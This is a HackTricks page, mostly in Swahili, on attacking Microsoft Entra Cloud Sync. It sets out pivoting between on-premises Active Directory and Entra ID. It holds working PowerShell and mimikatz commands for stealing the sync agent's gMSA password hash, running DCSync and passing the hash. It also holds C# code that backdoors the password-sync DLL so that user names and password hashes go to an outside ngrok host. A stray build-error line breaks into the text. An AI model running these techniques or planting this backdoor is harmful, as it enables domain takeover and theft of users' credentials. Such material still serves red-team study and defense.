Az - Cloud Sync
Reading time: 9 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Cloud Sync ni njia mpya ya Azure ya kusawazisha watumiaji kutoka AD hadi Entra ID.
From the docs: Microsoft Entra Cloud Sync ni toleo jipya kutoka Microsoft lililoundwa ili kukidhi na kufikia malengo yako ya utambulisho wa mchanganyiko kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inafanikiwa kwa kutumia wakala wa usambazaji wa wingu wa Microsoft Entra badala ya programu ya Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync.
Principals Generated
Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye saraka ya On-Premise:
- Katika Entra ID, mtumiaji
On-Premises Directory Synchronization Service Account(ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) ameundwa na jukumuDirectory Synchronization Accounts(d29b2b05-8046-44ba-8758-1e26182fcf32).
warning
Jukumu hili lilikuwa na ruhusa nyingi za kipaumbele na linaweza kutumika kuinua ruhusa hata kwa msimamizi wa kimataifa. Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kupewa tu moja mpya microsoft.directory/onPremisesSynchronization/standard/read ambayo haimruhusu kufanya kitendo chochote cha kipaumbele (kama kubadilisha nenosiri au sifa za mtumiaji au kuongeza akidi mpya kwa SP).
-
Katika Entra ID pia kundi
AAD DC Administratorslimeundwa bila wanachama au wamiliki. Kundi hili ni muhimu ikiwaMicrosoft Entra Domain Servicesinatumika. -
Katika AD, ama Akaunti ya Huduma
provAgentgMSAimeundwa na SamAcountName kamapGMSA_<id>$@domain.com(Get-ADServiceAccount -Filter * | Select Name,SamAccountName), au moja ya kawaida yenye ruhusa hizi zinahitajika. Kawaida, ile ya kawaida inaundwa.
warning
Kati ya ruhusa nyingine, Akaunti ya Huduma provAgentgMSA ina ruhusa za DCSync, ikiruhusu mtu yeyote anayekabiliwa nayo kuathiri saraka nzima. Kwa maelezo zaidi kuhusu DCSync angalia hii.
note
Kwa kawaida watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa adminCount kuwa 1 hawasawazishwi na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa za juu moja kwa moja wanaweza kusawazishwa.
Password Sychronization
Sehemu hii ni sawa na ile kutoka:
- Kusawazisha hash ya nenosiri kunaweza kuwezeshwa ili watumiaji waweze kuingia katika Entra ID wakitumia nenosiri zao kutoka AD. Zaidi ya hayo, kila wakati nenosiri linapobadilishwa katika AD, litasasishwa katika Entra ID.
- Kurejesha nenosiri pia kunaweza kuwezeshwa, ikiruhusu watumiaji kubadilisha nenosiri zao katika Entra ID kwa kusawazisha kiotomatiki nenosiri zao katika eneo la ndani. Lakini kulingana na nyaraka za sasa, kwa hili inahitajika kutumia Wakala wa Connect, hivyo angalia sehemu ya Az Connect Sync kwa maelezo zaidi.
- Kurejesha vikundi: Kipengele hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya ndani. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kundi katika Entra ID, pia wataongezwa kwenye kundi linalofanana katika AD.
Pivoting
AD --> Entra ID
- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, pivoting kutoka AD hadi Entra ID ni rahisi, tu kabili nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye saraka ya Entra ID (kawaida ni dakika chache tu).
Hivyo unaweza kwa mfano
- Kabiliana na akaunti ya
provAgentgMSA, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID. - Unda tu mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
- Badilisha nenosiri la mtumiaji fulani katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
Ili kukabili akidi za provAgentgMSA:
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya provAgentgMSA na kudumisha uthibitisho ukiwa na uwezo wa kufanya shambulio za DCSync dhidi ya AD.
Kwa maelezo zaidi kuhusu jinsi ya kuathiri Active Directory angalia:
Active Directory Methodology - HackTricks
note
Kumbuka kwamba hakuna njia yoyote ya kutoa majukumu ya Azure au EntraID kwa watumiaji waliounganishwa kulingana na sifa zake kwa mfano katika mipangilio ya Cloud Sync. Hata hivyo, ili kutoa ruhusa kiotomatiki kwa watumiaji waliounganishwa baadhi ya makundi ya Entra ID kutoka AD yanaweza kupewa ruhusa ili watumiaji waliounganishwa ndani ya makundi hayo pia wapate hizo au makundi ya kidinamik yanaweza kutumika, hivyo kila wakati angalia sheria za kidinamik na njia zinazoweza kutumika kuzitumia:
Kuhusu uthibitisho hii chapisho la blog linaonyesha kwamba inawezekana kutumia dnSpy kuingiza nyuma dll Microsoft.Online.Passwordsynchronisation.dll iliyoko katika C:\Program Files\Microsoft Azure AD Sync\Bin ambayo inatumika na wakala wa Cloud Sync kufanya usawazishaji wa nywila na kuifanya itoe hash za nywila za watumiaji wanaosawazishwa kwa seva ya mbali. Hash zinaundwa ndani ya darasa PasswordHashGenerator na chapisho la blog linaonyesha kuongeza baadhi ya msimbo ili darasa liwe kama (kumbuka use System.Net na matumizi ya WebClient kutoa hash za nywila):
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.
Entra ID --> AD
-
Ikiwa Password Writeback imewezeshwa, unaweza kubadilisha nenosiri la watumiaji wengine kutoka Entra ID na ikiwa una ufikiaji wa mtandao wa AD, ungana kwa kutumia wao. Kwa maelezo zaidi angalia sehemu ya Az Connect Sync kwa maelezo zaidi kwani uandishi wa nenosiri umewekwa kwa kutumia wakala huo.
-
Wakati huu, Cloud Sync pia inaruhusu "Microsoft Entra ID to AD", lakini baada ya muda mrefu niligundua kuwa HAIWEZI kusawazisha watumiaji wa EntraID hadi AD na kwamba inaweza kusawazisha tu watumiaji kutoka EntraID ambao walikuwa wamesawazishwa na hash ya nenosiri na wanatoka kwenye kikoa kinachomilikiwa na msitu sawa na kikoa tunachosawazisha kama unavyoweza kusoma katika https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:
- Makundi haya yanaweza kuwa na watumiaji waliosawazishwa wa on-premises na / au makundi ya usalama yaliyoundwa na wingu.
- Akaunti za watumiaji wa on-premises ambazo zimesawazishwa na ni wanachama wa kundi hili la usalama lililoundwa na wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka msitu mmoja.
Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji anahitaji kuathiri AD ya awali ambapo watumiaji wanapaswa kusawazishwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi).
Enumeration
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud